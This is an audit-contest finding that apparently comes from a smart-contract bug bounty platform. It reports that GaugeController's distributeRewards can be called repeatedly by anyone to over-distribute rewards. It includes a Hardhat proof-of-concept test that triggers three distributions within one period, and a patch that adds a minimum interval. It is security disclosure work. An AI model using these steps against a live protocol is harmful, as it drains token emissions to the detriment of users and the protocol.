Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

`GaugeController::distributeRewards` can be called multiple times by anyone, leading to excessive reward distribution

Summary

The distributeRewards function in GaugeController can be called multiple times by anyone, allowing malicious users to trigger multiple reward distributions to a gauge within the same period.

Vulnerability Details

The distributeRewards function lacks a time-based check between reward distributions. This means anyone can call it repeatedly to distribute rewards to a gauge multiple times, even if the gauge has already received rewards for the current period.

Key issues:

  • No minimum time delay between reward distributions

  • No tracking of last reward distribution time

  • Function is callable by any address

  • Each call calculates and distributes new rewards

Impact

This vulnerability allows excessive rewards to be distributed to gauges:

  • Gauges receive more rewards than intended by the protocol's tokenomics

  • Token emissions exceed planned schedule

  • Economic impact on token value and protocol sustainability

  • Unfair advantage to gauges that get called more frequently

Tools Used

Manual review

Proof of Concept

Add the following test case to the test/unit/core/governance/gauges/GaugeController.test.js file:

it("should demonstrate multiple reward distributions", async () => {
// mint reward token to gauge to be able to distribute rewards
await rewardToken.mint(rwaGauge.target, ethers.parseEther("100000000000000000000"));
// mint veRAAC token to user to be able to vote
await veRAACToken.mint(user1.address, ethers.parseEther("1000"));
// vote for rwa gauge
await gaugeController.connect(user1).vote(await rwaGauge.getAddress(), 5000);
const initialPeriodState = await rwaGauge.periodState();
const initialLastUpdateTime = await rwaGauge.lastUpdateTime();
// No reward distribution yet
expect(initialLastUpdateTime).to.be.eq(0);
expect(initialPeriodState.distributed).to.be.eq(0);
// First legitimate distribution
await gaugeController.distributeRewards(rwaGauge.target);
const rewardsToDistribute = ethers.parseEther("500000");
const firstPeriodState = await rwaGauge.periodState();
const firstLastUpdateTime = await rwaGauge.lastUpdateTime();
const timeFirstReward = await time.latest();
expect(firstLastUpdateTime).to.be.equal(timeFirstReward);
expect(firstPeriodState.distributed).to.be.equal(rewardsToDistribute);
// Second distribution
await gaugeController.distributeRewards(rwaGauge.target);
const secondPeriodState = await rwaGauge.periodState();
const secondLastUpdateTime = await rwaGauge.lastUpdateTime();
const timeSecondReward = await time.latest();
expect(secondLastUpdateTime).to.be.equal(timeSecondReward);
expect(secondPeriodState.distributed).to.be.equal(rewardsToDistribute * 2n);
// Third distribution
await gaugeController.distributeRewards(rwaGauge.target);
const thirdPeriodState = await rwaGauge.periodState();
const thirdLastUpdateTime = await rwaGauge.lastUpdateTime();
const timeThirdReward = await time.latest();
expect(thirdLastUpdateTime).to.be.equal(timeThirdReward);
expect(thirdPeriodState.distributed).to.be.equal(rewardsToDistribute * 3n);
const getPeriodDuration = await rwaGauge.getPeriodDuration();
expect(getPeriodDuration).to.be.equal(MONTH);
// check that period duration is greater than time between first and third reward
expect(getPeriodDuration).to.be.gt(timeThirdReward - timeFirstReward);
});

Recommendations

Add time-based checks to prevent frequent reward distributions:

function distributeRewards(
address gauge
) external override nonReentrant whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (!gauges[gauge].isActive) revert GaugeNotActive();
+ Gauge storage g = gauges[gauge];
+ uint256 timeSinceLastReward = block.timestamp - g.lastRewardTime;
+ // Require minimum time between distributions based on gauge type
+ uint256 minRewardInterval = g.gaugeType == GaugeType.RWA ? 30 days : 7 days;
+ if (timeSinceLastReward < minRewardInterval) revert RewardPeriodNotElapsed();
uint256 reward = _calculateReward(gauge);
if (reward == 0) return;
IGauge(gauge).notifyRewardAmount(reward);
emit RewardDistributed(gauge, msg.sender, reward);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController's distributeRewards lacks time-tracking, allowing attackers to repeatedly distribute full period rewards until hitting emission caps

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController's distributeRewards lacks time-tracking, allowing attackers to repeatedly distribute full period rewards until hitting emission caps

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.